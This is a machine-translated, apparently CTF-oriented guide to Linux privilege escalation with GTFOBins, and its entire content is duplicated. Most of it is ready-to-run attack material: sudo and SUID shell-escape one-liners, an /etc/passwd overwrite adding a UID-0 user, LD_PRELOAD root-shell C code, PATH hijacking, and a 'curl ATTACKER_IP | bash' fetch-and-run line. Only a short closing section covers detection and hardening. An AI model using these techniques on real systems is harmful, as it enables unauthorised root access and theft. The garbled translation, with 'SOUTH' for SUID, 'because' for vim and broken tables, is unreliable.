Top GTFOBins for CTF Binaries: Ready-Made One-Liners
Not all GTFOBins are equally useful in CTFs. Here are the most common ones, with commands for each context:
Binary Sudo SOUTH Capabilities
find sudo find . -exec /bin/sh \; -quit find . -exec /bin/sh -p \; -quit Rarely
because sudo vim -c ':!sh' vim -c '
y import os; os.execl("/bin/sh","sh","-p")' Rarely
python sudo python -c 'import os;os.system("/bin/sh")' Через os.execl с -p python -c 'import os;os.setuid(0);os.system("/bin/sh")'
awk sudo awk 'BEGIN {system("/bin/sh")}' Same with -p Rarely
env sudo env /bin/sh env /bin/sh -p Rarely
bash sudo bash bash -p Rarely
less sudo less /etc/shadow, then !sh Likewise Rarely
curl Read/write files as root Reading/writing files Rarely
docker sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh No No
find And vim— absolute leaders in terms of frequency of appearance in CTFs. docker— special case: if the user is in a group docker(visible through id), root is obtained without sudo and without SUID. Mounting the host's root filesystem inside the container gives full access to all files. The command docker run -v /:/mnt --rm -it alpine chroot /mnt sh— pure root shell. Group membership lxdworks similarly.
env— one of the most underrated records. Team sudo env /bin/shIt looks so simple that it seems like it can't possibly work. But envWhen run via sudo, it inherits privileges and simply passes them on to the called process. One argument is the shell path. No flags, no tricks. It just works.
LFI via GTFOBins: Reading and Writing Files
GTFOBins aren't just about getting an interactive shell. File reading and file writing through a privileged binary is sometimes more valuable than a root shell. In CTFs, you often need to read a flag from /root/root.txt— you don't need to get full root for this.
Reading files. find /root/root.txt -exec cat {} \;in SUID context will read any file as root. On the GTFOBins page for findreading via is supported -exec cat {} \;in all contexts: Unprivileged, Sudo, SUID. curlwith SUID can read local file: curl file:///etc/shadow. Even base64With SUID you can: encode a file in base64, decode it on the fly, and get the contents.
Writing files. For findGTFOBins documents the recording via -fprintf: find / -fprintf /path/to/output-file DATA -quit. DATA is a format string that supports escape sequences. In practice, this means that it's possible to add a user with UID 0 to /etc/passwd.
Typical scenario: curlSUID is present. Generate a password hash with the command openssl passwd -6 -salt xyz password123, we get the SHA-512 hash. We form a string of the form newroot:$6$xyz$HASH:0:0:root:/root:/bin/bash, we create a modified one /etc/passwdwith this line and overwrite the original through curl. After su newrootwith a password password123— root without a single shell escape. A JetInfoSystems article on Habr describes exactly this scenario for a binary. curlwith SUID: downloaded /etc/passwdon the attacking machine, changed the UID, and loaded it back.
Substitution /etc/passwd— a working vector if a file has incorrect write permissions (which happens on CTFs) or if a privileged binary has write access. A quarter of CTF machines where direct shell escape is blocked are solved by writing files.
Finding vulnerable Linux binaries with LinPEAS
LinPEAS automates reconnaissance and adds hundreds of checks on top of manual brute-force searches. But the result is a ton of text that spans dozens of screens. To avoid getting lost in it, you need to know which blocks are GTFOBins.
LinPEAS uses color coding: red and yellow lines indicate potential privilege escalation vectors. In the context of GTFOBins, look for:
Checking sudo permissions - result sudo -lNOPASSWD and a familiar binary—directly to GTFOBins
SUID files — a list of binaries with the SUID bit. Non-standard ones are highlighted in red.
Capabilities - result getcap. Binary with cap_setuidhighlighted as critical
Interesting writable files - if they include crontab scripts, this is the path to root via substitution
LinPEAS Delivery: Set up an HTTP server on the attacking machine ( python3 -m http.server 8080), you perform on the target curl http://ATTACKER_IP:8080/linpeas.sh | bashThe conclusion is worth saving: curl ... | bash | tee /tmp/lp.txt- so that you can read it later, and not scroll through it again.
Not always sudo -lShows the GTFOBins binary in its pure form. Sometimes sudo is configured with restrictions: specific arguments, prohibition -exec, filtering by files. This is where things get interesting.
LD_PRELOAD. If sudo -lcontains env_keep+=LD_PRELOAD, sudo saves this environment variable when the program starts. You can compile a shared object that will reset the UID to 0 and launch a shell on boot:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Compiles: gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c. Launches: sudo LD_PRELOAD=/tmp/evil.so /usr/bin/allowed_binary. The result is a root shell, even if allowed_binarydoesn't have a single shell escape in GTFOBins. It doesn't matter what program is allowed in sudo—LD_PRELOAD loads your code before the main binary runs.
It works similarly. LD_LIBRARY_PATH: we replace the shared object that uses the resolved binary. Through ldd /usr/bin/allowed_binarywe find out the dependencies, create a similar one .sowith payload, we specify sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary.
PATH injection for custom SUID binaries. If a custom SUID binary calls a utility without an absolute path (simply cpinstead of /usr/bin/cp— visible through strings), we substitute our binary:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
/opt/custom-suid-binary
The custom binary will run and will call cp, but from PATH ours will be the first to find /tmp/cp— and execute it with root privileges. Beautiful.
Restricted shell breakout. Sometimes after foothold you're in a restricted shell (rbash, rksh): you can't use /, change PATH, run arbitrary commands. GTFOBins helps here too. If available vi or vim: :set shell=/bin/bash, then :shell. awk 'BEGIN {system("/bin/bash")}'also bypasses rbash limitations. less followed by !bash— another option. All these shell escapes are documented on GTFOBins in the "Shell" section for the corresponding binaries.
GTFOBins Exploit Detection: What the Defender Sees
For attack-defense CTF and to complete the picture, here's how to detect the use of GTFOBins.
There is a rule in the SigmaHQ repository proc_creation_lnx_setgid_setuid.yml, which detects the creation of processes with a setuid/setgid change - direct detection of SUID exploitation (T1548.001). Rule file_event_lnx_persistence_sudoers_files.ymlMonitors sudoers modifications (T1548.003) - if an attacker adds sudo privileges to themselves for persistence. Rules for detecting sudo bypass via CVE-2019-14287 ( lnx_sudo_exploit_cve_2019_14287.yml) catch the launch sudo -u#-1— a classic technique when sudo is allowed for a specific user, but not for root.
According to the MITRE D3FEND classification, countermeasures for sudo abuse include System File Analysis (D3-SFA)—sudoer monitoring—and File Encryption (D3-FE). For SUID, Configuration Inventory (D3-CI)—an inventory of files with the SUID bit and comparison with a reference.
Hardening comes down to three steps: remove SUID from binaries that don't need it ( chmod u-s /path/to/binary), tighten sudoers (at least NOPASSWD, ban on interpreters from GTFOBins), audit capabilities through getcap -r /regularly.
Not all GTFOBins are equally useful in CTFs. Here are the most common ones, with commands for each context:
Binary Sudo SOUTH Capabilities
find sudo find . -exec /bin/sh \; -quit find . -exec /bin/sh -p \; -quit Rarely
because sudo vim -c ':!sh' vim -c '
python sudo python -c 'import os;os.system("/bin/sh")' Через os.execl с -p python -c 'import os;os.setuid(0);os.system("/bin/sh")'
awk sudo awk 'BEGIN {system("/bin/sh")}' Same with -p Rarely
env sudo env /bin/sh env /bin/sh -p Rarely
bash sudo bash bash -p Rarely
less sudo less /etc/shadow, then !sh Likewise Rarely
curl Read/write files as root Reading/writing files Rarely
docker sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh No No
find And vim— absolute leaders in terms of frequency of appearance in CTFs. docker— special case: if the user is in a group docker(visible through id), root is obtained without sudo and without SUID. Mounting the host's root filesystem inside the container gives full access to all files. The command docker run -v /:/mnt --rm -it alpine chroot /mnt sh— pure root shell. Group membership lxdworks similarly.
env— one of the most underrated records. Team sudo env /bin/shIt looks so simple that it seems like it can't possibly work. But envWhen run via sudo, it inherits privileges and simply passes them on to the called process. One argument is the shell path. No flags, no tricks. It just works.
LFI via GTFOBins: Reading and Writing Files
GTFOBins aren't just about getting an interactive shell. File reading and file writing through a privileged binary is sometimes more valuable than a root shell. In CTFs, you often need to read a flag from /root/root.txt— you don't need to get full root for this.
Reading files. find /root/root.txt -exec cat {} \;in SUID context will read any file as root. On the GTFOBins page for findreading via is supported -exec cat {} \;in all contexts: Unprivileged, Sudo, SUID. curlwith SUID can read local file: curl file:///etc/shadow. Even base64With SUID you can: encode a file in base64, decode it on the fly, and get the contents.
Writing files. For findGTFOBins documents the recording via -fprintf: find / -fprintf /path/to/output-file DATA -quit. DATA is a format string that supports escape sequences. In practice, this means that it's possible to add a user with UID 0 to /etc/passwd.
Typical scenario: curlSUID is present. Generate a password hash with the command openssl passwd -6 -salt xyz password123, we get the SHA-512 hash. We form a string of the form newroot:$6$xyz$HASH:0:0:root:/root:/bin/bash, we create a modified one /etc/passwdwith this line and overwrite the original through curl. After su newrootwith a password password123— root without a single shell escape. A JetInfoSystems article on Habr describes exactly this scenario for a binary. curlwith SUID: downloaded /etc/passwdon the attacking machine, changed the UID, and loaded it back.
Substitution /etc/passwd— a working vector if a file has incorrect write permissions (which happens on CTFs) or if a privileged binary has write access. A quarter of CTF machines where direct shell escape is blocked are solved by writing files.
Finding vulnerable Linux binaries with LinPEAS
LinPEAS automates reconnaissance and adds hundreds of checks on top of manual brute-force searches. But the result is a ton of text that spans dozens of screens. To avoid getting lost in it, you need to know which blocks are GTFOBins.
LinPEAS uses color coding: red and yellow lines indicate potential privilege escalation vectors. In the context of GTFOBins, look for:
Checking sudo permissions - result sudo -lNOPASSWD and a familiar binary—directly to GTFOBins
SUID files — a list of binaries with the SUID bit. Non-standard ones are highlighted in red.
Capabilities - result getcap. Binary with cap_setuidhighlighted as critical
Interesting writable files - if they include crontab scripts, this is the path to root via substitution
LinPEAS Delivery: Set up an HTTP server on the attacking machine ( python3 -m http.server 8080), you perform on the target curl http://ATTACKER_IP:8080/linpeas.sh | bashThe conclusion is worth saving: curl ... | bash | tee /tmp/lp.txt- so that you can read it later, and not scroll through it again.
Not always sudo -lShows the GTFOBins binary in its pure form. Sometimes sudo is configured with restrictions: specific arguments, prohibition -exec, filtering by files. This is where things get interesting.
LD_PRELOAD. If sudo -lcontains env_keep+=LD_PRELOAD, sudo saves this environment variable when the program starts. You can compile a shared object that will reset the UID to 0 and launch a shell on boot:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Compiles: gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c. Launches: sudo LD_PRELOAD=/tmp/evil.so /usr/bin/allowed_binary. The result is a root shell, even if allowed_binarydoesn't have a single shell escape in GTFOBins. It doesn't matter what program is allowed in sudo—LD_PRELOAD loads your code before the main binary runs.
It works similarly. LD_LIBRARY_PATH: we replace the shared object that uses the resolved binary. Through ldd /usr/bin/allowed_binarywe find out the dependencies, create a similar one .sowith payload, we specify sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary.
PATH injection for custom SUID binaries. If a custom SUID binary calls a utility without an absolute path (simply cpinstead of /usr/bin/cp— visible through strings), we substitute our binary:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
/opt/custom-suid-binary
The custom binary will run and will call cp, but from PATH ours will be the first to find /tmp/cp— and execute it with root privileges. Beautiful.
Restricted shell breakout. Sometimes after foothold you're in a restricted shell (rbash, rksh): you can't use /, change PATH, run arbitrary commands. GTFOBins helps here too. If available vi or vim: :set shell=/bin/bash, then :shell. awk 'BEGIN {system("/bin/bash")}'also bypasses rbash limitations. less followed by !bash— another option. All these shell escapes are documented on GTFOBins in the "Shell" section for the corresponding binaries.
GTFOBins Exploit Detection: What the Defender Sees
For attack-defense CTF and to complete the picture, here's how to detect the use of GTFOBins.
There is a rule in the SigmaHQ repository proc_creation_lnx_setgid_setuid.yml, which detects the creation of processes with a setuid/setgid change - direct detection of SUID exploitation (T1548.001). Rule file_event_lnx_persistence_sudoers_files.ymlMonitors sudoers modifications (T1548.003) - if an attacker adds sudo privileges to themselves for persistence. Rules for detecting sudo bypass via CVE-2019-14287 ( lnx_sudo_exploit_cve_2019_14287.yml) catch the launch sudo -u#-1— a classic technique when sudo is allowed for a specific user, but not for root.
According to the MITRE D3FEND classification, countermeasures for sudo abuse include System File Analysis (D3-SFA)—sudoer monitoring—and File Encryption (D3-FE). For SUID, Configuration Inventory (D3-CI)—an inventory of files with the SUID bit and comparison with a reference.
Hardening comes down to three steps: remove SUID from binaries that don't need it ( chmod u-s /path/to/binary), tighten sudoers (at least NOPASSWD, ban on interpreters from GTFOBins), audit capabilities through getcap -r /regularly.